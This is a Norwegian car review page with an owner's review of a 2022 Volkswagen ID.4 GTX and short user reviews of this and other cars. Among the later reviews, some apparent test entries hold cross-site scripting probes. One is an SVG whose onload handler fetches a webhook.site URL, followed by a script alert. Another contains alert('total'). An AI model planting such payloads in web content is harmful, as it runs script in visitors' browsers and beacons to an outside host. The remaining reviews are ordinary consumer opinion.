TV 2 Play
Min konto

Hvilken bil ser du etter?

Tilbake til front | Skriv en vurdering
2022 Volkswagen ID.4 GTX 77kWh 299hk SUV Batteri

Score 8.4/10

Totalt sett godt fornøyd med bilen og forhandler. Dette er uten tvil den beste elbilen jeg har eid så langt.

Kjøreglede

9 / 10
Veldig stillegående bil med helt ok kjøreegenskaper. Super komfort når det kommer til seter og understell.

Kvalitet/driftssikkerhet

7 / 10
Bilen føles veldig kompakt og velbygget, men har vist seg å ha noen svakheter. Dette må imidlertid sees i sammenheng med svært lang kjørelengde. Bilen har gått nesten 60000 km på ett år. Det er nå byttet 3 av 4 utvendige dørhåndtak, i forstilling er det byttet deler to ganger, bakluken har fått montert justerbare gummiputer etter at den begynte å vibrere/skramle, Software har trengt noen runder med oppdatering.
Møller skal ha honnør for god service :).

Plass/praktiske løsninger

10 / 10
God plass både foran og bak, praktisk skiluke.

Økonomi/kostnader

9 / 10
Alt av feil og oppdateringer er tatt på garanti.

Drivstoff/forbruk

7 / 10
Går veldig rimelig på landevei opp til 80-90. Motorvei og vinter gir for høyt forbruk. På langtur ned til Danmark og Tyskland må hastigheten holdes godt under tillatt for at rekkevidden ikke skal bli katastrofalt kort. Lader overraskende sakte når temperaturen synker under 7-8 varmegrader.

Flere vurderinger fra samme modell

Volkswagen ID.4 GTX (2024)

Livsfarlig bil med alvorlige problemer med fører assistanse systemer, som kan drepe de som er i bilen. Kjører uten mennesker i bilen fra parkeringsplassen, svinger over i motsatt kjørebane. Ikke ba

Score 5.8

Vurdert av Geggi

Volkswagen ID.4 GTX (2024)

En fin bil og kjøre,ligger godt på veien,bra på vinterføre. God rekkevidde. Men disse bilene har et veldig stort minus,alt for mange tekniske feil.

Score 6.8

Vurdert av Bilkjenner

Volkswagen ID.4 GTX (2024)

Straks 10 000 km uten et komma å bemerke.

Score 10

Vurdert av Vinterbil

Volkswagen ID.4 GTX (2023)

Veldig fornøyd med mitt bilhold. Skulle ha valgt adaptiv understell, litt stiv i fjæring. Jeg valgte elektr førerstoler som er gode å sitte i.

Score 8.4

Vurdert av Rune

Volkswagen ID.4 GTX (2023)

Sikker og god bil, som ligger i øvre skiktet på sikkerhet, romslighet og komfort.

Score 9.6

Vurdert av Eksdino

Volkswagen ID.4 GTX (2023)

Godt fornøyd uten store overraskelser. De fleste finner seg til rette i en VW

Score 9.0

Vurdert av Espen

Volkswagen ID.4 GTX (2022)

God bil å kjøre. Elendig IT løsninger. Ubrukelig App.

Score 5.6

Vurdert av Vestland

Volkswagen ID.4 GTX (2022)

Ikke å anbefale.

Score 5.4

Vurdert av Rune

Volkswagen ID.4 GTX (2022)

God og trygg bil, men verkstedet trekker kraftig ned.

Score 5.8

Vurdert av Solbello

Volkswagen ID.4 GTX (2022)

Ideell bil for våre behov.

Score 9.4

Vurdert av Ravi

Volkswagen ID.4 GTX (2022)

Alt i alt veldig fornøyd med min bil. Mest skuffet over rekkevidde generelt. Ikke at den er så dårlig, men jeg trodde den i praksis ville ligge nærmere 500 på sommeren. Men da må jeg kjøre i 70

Score 8.4

Vurdert av zeztil

Volkswagen ID.4 GTX (2022)

Veldig fornøyd med bilen og forhandler Gumpen, Kristiansand/Porsgrunn. Største positive overraskelsen var fremkommeligheten og komforten vintertid. 16 kuldegrader og startet oppvarming av en nedsn

Score 9.4

Vurdert av Arne

Volkswagen ID.4 GTX (2022)

Kjempefornøyd med bilen.

Score 8.2

Vurdert av Knut

Volkswagen ID.4 GTX (2022)

Styr unna, finnes mye bedre biler til samme eller lavere pris. Dekkstøy, VW har aldri klart å lage gode stoler, full av plastikk, elendig infotain system, treg lading STRYK KARAKTER

Score 4.2

Vurdert av Remi

Volkswagen ID.4 GTX (2022)

Vurderer mulighet og pris for å skifte fjæring til "Ikke sportsunderstell" Jeg bestilte instruksjonsbok i papirformat, Bortkast 300kr. da det kun sto skrevet om alt jeg ikke kunne gjøre. Ellers

Score 6.6

Vurdert av Arne

Flere vurderinger

Renault 5 E-Tech (2025)

Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te

Score 8.4

Vurdert av Knut

Citroën e-C4 (2025)

Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve

Score 9.0

Vurdert av Siri

Aston Martin DB9 GT (2017)

alert("total")

Score 5.0

Vurdert av test

Aston Martin DB9 GT (2017)

totalvurderingtest

Score 5.0

Vurdert av test

Abarth 500e (2024)

Score 10

Vurdert av Bernt

Abarth 500e (2024)

Score 1.0

Vurdert av xxxfooo4

Abarth 500e (2024)

xxxfooo4

Score 3.0

Vurdert av xxxfooo4

Abarth 500e (2024)

<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>

Score 6.2

Vurdert av Bernt

Volvo EX40 (2026)

Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass

Score 1.6

Vurdert av Jorsalfar1996

Ford Explorer EV (2025)

Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.

Score 8.2

Vurdert av Adams

Ford Kuga (2021)

Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring

Score 8.6

Vurdert av Viggo

Hongqi E-HS9 (2022)

Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!

Score 8.2

Vurdert av MrP85

Mercedes-Benz EQC (2022)

Topp komfort og driftsikker.

Score 9.4

Vurdert av Renna

Polestar 2 (2022)

God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h

Score 8.8

Vurdert av Autofilen

Mercedes-Benz GLE (2020)

Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km

Score 9.6

Vurdert av Hans